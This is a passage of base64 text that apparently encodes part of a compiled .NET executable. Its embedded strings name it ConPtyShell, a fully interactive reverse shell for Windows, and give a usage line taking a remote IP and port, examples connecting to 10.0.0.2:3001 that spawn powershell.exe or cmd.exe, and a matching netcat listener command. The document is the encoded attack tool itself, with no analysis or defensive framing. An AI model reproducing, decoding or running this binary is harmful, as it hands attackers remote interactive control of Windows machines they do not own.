lcm5lbDMyLmRsbABNYXJzaGFsQXNBdHRyaWJ1dGUAVW5tYW5hZ2VkVHlwZQBkd0F0dHJpYnV0ZUNvdW50AGxwU2l6ZQBhdHRyaWJ1dGUAbHBWYWx1ZQBjYlNpemUAbHBQcmV2aW91c1ZhbHVlAGxwUmV0dXJuU2l6ZQBscEFwcGxpY2F0aW9uTmFtZQBscENvbW1hbmRMaW5lAGxwUHJvY2Vzc0F0dHJpYnV0ZXMAbHBUaHJlYWRBdHRyaWJ1dGVzAGJJbmhlcml0SGFuZGxlcwBkd0NyZWF0aW9uRmxhZ3MAbHBFbnZpcm9ubWVudABscEN1cnJlbnREaXJlY3RvcnkAbHBTdGFydHVwSW5mbwBJbkF0dHJpYnV0ZQBscFByb2Nlc3NJbmZvcm1hdGlvbgBPdXRBdHRyaWJ1dGUAdUV4aXRDb2RlAGhIYW5kbGUAZHdNaWxsaXNlY29uZHMAblN0ZEhhbmRsZQBoT2JqZWN0AGhSZWFkUGlwZQBoV3JpdGVQaXBlAGxwUGlwZUF0dHJpYnV0ZXMAblNpemUAbHBGaWxlTmFtZQBkd0Rlc2lyZWRBY2Nlc3MAZHdTaGFyZU1vZGUAU2VjdXJpdHlBdHRyaWJ1dGVzAGR3Q3JlYXRpb25EaXNwb3NpdGlvbgBkd0ZsYWdzQW5kQXR0cmlidXRlcwBoVGVtcGxhdGVGaWxlAGhGaWxlAGxwQnVmZmVyAG5OdW1iZXJPZkJ5dGVzVG9SZWFkAGxwTnVtYmVyT2ZCeXRlc1JlYWQAbHBPdmVybGFwcGVkAG5OdW1iZXJPZkJ5dGVzVG9Xcml0ZQBscE51bWJlck9mQnl0ZXNXcml0dGVuAHNpemUAaElucHV0AGhPdXRwdXQAcGhQQwBoUEMAaENvbnNvbGVIYW5kbGUAbW9kZQBoYW5kbGUAdXNlcjMyLmRsbABoV25kAG5DbWRTaG93AGxwTW9kdWxlTmFtZQBrZXJuZWwzMgBoTW9kdWxlAHByb2NOYW1lAHJlbW90ZUlwAHJlbW90ZVBvcnQAU3lzdGVtLk5ldABJUEFkZHJlc3MAUGFyc2UASVBFbmRQb2ludABFbmRQb2ludABBZGRyZXNzRmFtaWx5AGdldF9BZGRyZXNzRmFtaWx5AFNvY2tldFR5cGUAUHJvdG9jb2xUeXBlAENvbm5lY3QAZ2V0X0Nvbm5lY3RlZABTeXN0ZW0uVGV4dABFbmNvZGluZwBnZXRfQVNDSUkAR2V0Qnl0ZXMAU2VuZABzaGVsbFNvY2tldAByb3dzAGNvbHMAU2xlZXAAZ2V0X0F2YWlsYWJsZQBCeXRlAFJlY2VpdmUAR2V0U3RyaW5nAENoYXIAU3RyaW5nAFNwbGl0AFRyaW0ASW50MzIAVHJ5UGFyc2UASW5wdXRQaXBlUmVhZABJbnB1dFBpcGVXcml0ZQBPdXRwdXRQaXBlUmVhZABPdXRwdXRQaXBlV3JpdGUATWFyc2hhbABTaXplT2YASW50UHRyAFplcm8ASW52YWxpZE9wZXJhdGlvbkV4Y2VwdGlvbgBvbGRTdGRJbgBvbGRTdGRPdXQAb2xkU3RkRXJyAGhhbmRsZVBzZXVkb0NvbnNvbGUAQ29uUHR5SW5wdXRQaXBlUmVhZABDb25QdHlPdXRwdXRQaXBlV3JpdGUAYXR0cmlidXRlcwBvcF9FcXVhbGl0eQBHZXRMYXN0V2luMzJFcnJvcgBDb25jYXQAQWxsb2NIR2xvYmFsAGdldF9TaXplAG9wX0V4cGxpY2l0AHNJbmZvRXgAY29tbWFuZExpbmUAdGhyZWFkUGFyYW1zAFNvY2tldEZsYWdzAFBhcmFtZXRlcml6ZWRUaHJlYWRTdGFydABTdGFydABoQ2hpbGRQcm9jZXNzAFRvU3RyaW5nAEZvcm1hdABDb25zb2xlAFdyaXRlTGluZQBvcF9JbmVxdWFsaXR5AEFib3J0AFNvY2tldFNodXRkb3duAFNodXRkb3duAENsb3NlAFN0cnVjdExheW91dEF0dHJpYnV0ZQBMYXlvdXRLaW5kAHBhcmFtAGFyZ3VtZW50cwBTeXN0ZW0uSU8AVGV4dFdyaXRlcgBnZXRfT3V0AFdyaXRlAEVudmlyb25tZW50AEV4aXQAaXBTdHJpbmcAYXJnAGFyZ3MALmNjdG9yAAAAAEENAAoAQwBvAG4AUAB0AHkAUwBoAGUAbABsACAALQAgAEAAcwBwAGwAaQBuAHQAZQByAF8AYwBvAGQAZQANAAoAAT1DAG8AdQBsAGQAIABuAG8AdAAgAGMAcgBlAGEAdABlACAAdABoAGUAIABJAG4AcAB1AHQAUABpAHAAZQAAP0MAbwB1AGwAZAAgAG4AbwB0ACAAYwByAGUAYQB0AGUAIAB0AGgAZQAgAE8AdQB0AHAAdQB0AFAAaQBwAGUAAA9DAE8ATgBPAFUAVAAkAAANQwBPAE4ASQBOACQAADVDAG8AdQBsAGQAIABuAG8AdAAgAGcAZQB0ACAAYwBvAG4AcwBvAGwAZQAgAG0AbwBkAGUAAFlDAG8AdQBsAGQAIABuAG8AdAAgAGUAbgBhAGIAbABlACAAdgBpAHIAdAB1AGEAbAAgAHQAZQByAG0AaQBuAGEAbAAgAHAAcgBvAGMAZQBzAHMAaQBuAGcAAICBQwBvAHUAbABkACAAbgBvAHQAIABjAGEAbABjAHUAbABhAHQAZQAgAHQAaABlACAAbgB1AG0AYgBlAHIAIABvAGYAIABiAHkAdABlAHMAIABmAG8AcgAgAHQAaABlACAAYQB0AHQAcgBpAGIAdQB0AGUAIABsAGkAcwB0AC4AIAAAQ0MAbwB1AGwAZAAgAG4AbwB0ACAAcwBlAHQAIAB1AHAAIABhAHQAdAByAGkAYgB1AHQAZQAgAGwAaQBzAHQALgAgAABdQwBvAHUAbABkACAAbgBvAHQAIABzAGUAdAAgAHAAcwBlAHUAZABvAGMAbwBuAHMAbwBsAGUAIAB0AGgAcgBlAGEAZAAgAGEAdAB0AHIAaQBiAHUAdABlAC4AIAAANUMAbwB1AGwAZAAgAG4AbwB0ACAAYwByAGUAYQB0AGUAIABwAHIAbwBjAGUAcwBzAC4AIAAAAQBVewAwAH0AQwBvAHUAbABkACAAbgBvAHQAIABjAG8AbgBuAGUAYwB0ACAAdABvACAAaQBwACAAewAxAH0AIABvAG4AIABwAG8AcgB0ACAAewAyAH0AADl7AHsAewBDAG8AbgBQAHQAeQBTAGgAZQBsAGwARQB4AGMAZQBwAHQAaQBvAG4AfQB9AH0ADQAKAAARawBlAHIAbgBlAGwAMwAyAAAnQwByAGUAYQB0AGUAUABzAGUAdQBkAG8AQwBvAG4AcwBvAGwAZQAAgK8NAAoAQwByAGUAYQB0AGUAUABzAGUAdQBkAG8AQwBvAG4AcwBvAGwAZQAgAGYAdQBuAGMAdABpAG8AbgAgAG4AbwB0ACAAZgBvAHUAbgBkACEAIABTAHAAYQB3AG4AaQBuAGcAIABhACAAbgBlAHQAYwBhAHQALQBsAGkAawBlACAAaQBuAHQAZQByAGEAYwB0AGkAdgBlACAAcwBoAGUAbABsAC4ALgAuAA0ACgABgJsNAAoAQwByAGUAYQB0AGUAUABzAGUAdQBkAG8AQwBvAG4AcwBvAGwAZQAgAGYAdQBuAGMAdABpAG8AbgAgAGYAbwB1AG4AZAAhACAAUwBwAGEAdwBuAGkAbgBnACAAYQAgAGYAdQBsAGwAeQAgAGkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAHMAaABlAGwAbAAuAC4ALgANAAoAAGV7ADAAfQBDAG8AdQBsAGQAIABuAG8AdAAgAGMAcgBlAGEAdABlACAAcABzAHUAZQBkAG8AIABjAG8AbgBzAG8AbABlAC4AIABFAHIAcgBvAHIAIABDAG8AZABlACAAewAxAH0AADlDAG8AbgBQAHQAeQBTAGgAZQBsAGwAIABrAGkAbgBkAGwAeQAgAGUAeABpAHQAZQBkAC4ADQAKAAAFLQBoAAENLQAtAGgAZQBsAHAAAQUvAD8AAIC5DQAKAEMAbwBuAFAAdAB5AFMAaABlAGwAbAA6ACAATgBvAHQAIABlAG4AbwB1AGcAaAAgAGEAcgBnAHUAbQBlAG4AdABzAC4AIAAyACAAQQByAGcAdQBtAGUAbgB0AHMAIAByAGUAcQB1AGkAcgBlAGQALgAgAFUAcwBlACAALQAtAGgAZQBsAHAAIABmAG8AcgAgAGEAZABkAGkAdABpAG8AbgBhAGwAIABoAGUAbABwAC4ADQAKAAFXDQAKAEMAbwBuAFAAdAB5AFMAaABlAGwAbAA6ACAASQBuAHYAYQBsAGkAZAAgAHIAZQBtAG8AdABlAEkAcAAgAHYAYQBsAHUAZQAgAHsAMAB9AA0ACgAAVQ0ACgBDAG8AbgBQAHQAeQBTAGgAZQBsAGwAOgAgAEkAbgB2AGEAbABpAGQAIABpAG4AdABlAGcAZQByACAAdgBhAGwAdQBlACAAewAwAH0ADQAKAAAdcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlAACNpQ0ACgANAAoAQwBvAG4AUAB0AHkAUwBoAGUAbABsACAALQAgAEYAdQBsAGwAeQAgAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAFIAZQB2AGUAcgBzAGUAIABTAGgAZQBsAGwAIABmAG8AcgAgAFcAaQBuAGQAbwB3AHMAIAANAAoAQQB1AHQAaABvAHIAOgAgAHMAcABsAGkAbgB0AGUAcgBfAGMAbwBkAGUADQAKAEwAaQBjAGUAbgBzAGUAOgAgAE0ASQBUAA0ACgBTAG8AdQByAGMAZQA6ACAAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBhAG4AdABvAG4AaQBvAEMAbwBjAG8ALwBDAG8AbgBQAHQAeQBTAGgAZQBsAGwADQAKACAAIAAgACAADQAKAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAgAC0AIABGAHUAbABsAHkAIABpAG4AdABlAHIAYQBjAHQAaQB2AGUAIAByAGUAdgBlAHIAcwBlACAAcwBoAGUAbABsACAAZgBvAHIAIABXAGkAbgBkAG8AdwBzAA0ACgANAAoAUAByAG8AcABlAHIAbAB5ACAAcwBlAHQAIAB0AGgAZQAgAHIAbwB3AHMAIABhAG4AZAAgAGMAbwBsAHMAIAB2AGEAbAB1AGUAcwAuACAAWQBvAHUAIABjAGEAbgAgAHIAZQB0AHIAaQBlAHYAZQAgAGkAdAAgAGYAcgBvAG0ADQAKAHkAbwB1AHIAIAB0AGUAcgBtAGkAbgBhAGwAIAB3AGkAdABoACAAdABoAGUAIABjAG8AbQBtAGEAbgBkACAAIgBzAHQAdAB5ACAAcwBpAHoAZQAiAC4ADQAKAA0ACgBZAG8AdQAgAGMAYQBuACAAYQB2AG8AaQBkACAAdABvACAAcwBlAHQAIAByAG8AdwBzACAAYQBuAGQAIABjAG8AbABzACAAdgBhAGwAdQBlAHMAIABpAGYAIAB5AG8AdQAgAHIAdQBuACAAeQBvAHUAcgAgAGwAaQBzAHQAZQBuAGUAcgANAAoAdwBpAHQAaAAgAHQAaABlACAAZgBvAGwAbABvAHcAaQBuAGcAIABjAG8AbQBtAGEAbgBkADoADQAKACAAIAAgACAAcwB0AHQAeQAgAHIAYQB3ACAALQBlAGMAaABvADsAIAAoAHMAdAB0AHkAIABzAGkAegBlADsAIABjAGEAdAApACAAfAAgAG4AYwAgAC0AbAB2AG4AcAAgADMAMAAwADEADQAKAA0ACgBJAGYAIAB5AG8AdQAgAHcAYQBuAHQAIAB0AG8AIABjAGgAYQBuAGcAZQAgAHQAaABlACAAYwBvAG4AcwBvAGwAZQAgAHMAaQB6AGUAIABkAGkAcgBlAGMAdABsAHkAIABmAHIAbwBtACAAcABvAHcAZQByAHMAaABlAGwAbAANAAoAeQBvAHUAIABjAGEAbgAgAHAAYQBzAHQAZQAgAHQAaABlACAAZgBvAGwAbABvAHcAaQBuAGcAIABjAG8AbQBtAGEAbgBkAHMAOgANAAoAIAAgACAAIAAkAHcAaQBkAHQAaAA9ADgAMAANAAoAIAAgACAAIAAkAGgAZQBpAGcAaAB0AD0AMgA0AA0ACgAgACAAIAAgACQASABvAHMAdAAuAFUASQAuAFIAYQB3AFUASQAuAEIAdQBmAGYAZQByAFMAaQB6AGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4ASABvAHMAdAAuAFMAaQB6AGUAIAAoACQAdwBpAGQAdABoACwAIAAkAGgAZQBpAGcAaAB0ACkADQAKACAAIAAgACAAJABIAG8AcwB0AC4AVQBJAC4AUgBhAHcAVQBJAC4AVwBpAG4AZABvAHcAUwBpAHoAZQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4ASABvAHMAdAAuAFMAaQB6AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAKAAkAHcAaQBkAHQAaAAsACAAJABoAGUAaQBnAGgAdAApAA0ACgANAAoAVQBzAGEAZwBlADoADQAKACAAIAAgACAAQwBvAG4AUAB0AHkAUwBoAGUAbABsAC4AZQB4AGUAIAByAGUAbQBvAHQAZQBfAGkAcAAgAHIAZQBtAG8AdABlAF8AcABvAHIAdAAgAFsAcgBvAHcAcwBdACAAWwBjAG8AbABzAF0AIABbAGMAbwBtAG0AYQBuAGQAbABpAG4AZQBdAA0ACgANAAoAUABvAHMAaQB0AGkAbwBuAGEAbAAgAGEAcgBnAHUAbQBlAG4AdABzADoADQAKACAAIAAgACAAcgBlAG0AbwB0AGUAXwBpAHAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAVABoAGUAIAByAGUAbQBvAHQAZQAgAGkAcAAgAHQAbwAgAGMAbwBuAG4AZQBjAHQADQAKACAAIAAgACAAcgBlAG0AbwB0AGUAXwBwAG8AcgB0ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAVABoAGUAIAByAGUAbQBvAHQAZQAgAHAAbwByAHQAIAB0AG8AIABjAG8AbgBuAGUAYwB0AA0ACgAgACAAIAAgAFsAcgBvAHcAcwBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAbwB3AHMAIABzAGkAegBlACAAZgBvAHIAIAB0AGgAZQAgAGMAbwBuAHMAbwBsAGUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAARABlAGYAYQB1AGwAdAA6ACAAIgAyADQAIgANAAoAIAAgACAAIABbAGMAbwBsAHMAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABDAG8AbABzACAAcwBpAHoAZQAgAGYAbwByACAAdABoAGUAIABjAG8AbgBzAG8AbABlAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEQAZQBmAGEAdQBsAHQAOgAgACIAOAAwACIADQAKACAAIAAgACAAWwBjAG8AbQBtAGEAbgBkAGwAaQBuAGUAXQAgACAAIAAgACAAIAAgACAAIAAgACAAVABoAGUAIABjAG8AbQBtAGEAbgBkAGwAaQBuAGUAIABvAGYAIAB0AGgAZQAgAHAAcgBvAGMAZQBzAHMAIAB0AGgAYQB0ACAAeQBvAHUAIABhAHIAZQAgAGcAbwBpAG4AZwAgAHQAbwAgAGkAbgB0AGUAcgBhAGMAdAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABEAGUAZgBhAHUAbAB0ADoAIAAiAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAAAAEAAQAAADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYYAAAbAIAAAAAAAAAAAAAbAI0AAAAVgBTAF8AVgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAAAAAAAAAAAAAAAAAAAAD8AAAAAAAAABAAAAAEAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQABAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBMwBAAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQBuAGYAbwAAAKgBAAABADAAMAAwADAAMAA0AGIAMAAAACwAAgABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAAAgAAAAMAAIAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAwAC4AMAAuADAALgAwAAAATAAVAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABDAG8AbgBQAHQAeQBTAGgAZQBsAGwAXwBuAGUAdAAyAC4AZQB4AGUAAAAAACgAAgABAEwAZQBnAGEAbABDAG8AcAB5AHIAaQBnAGgAdAAAACAAAABUABUAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAQwBvAG4AUAB0AHkAUwBoAGUAbABsAF8AbgBlAHQAMgAuAGUAeABlAAAAAAA0AAgAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAAOAAIAAEAQQBzAHMAZQBtAGIAbAB5ACAAVgBlAHIAcwBpAG8AbgAAADAALgAwAC4AMAAuADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA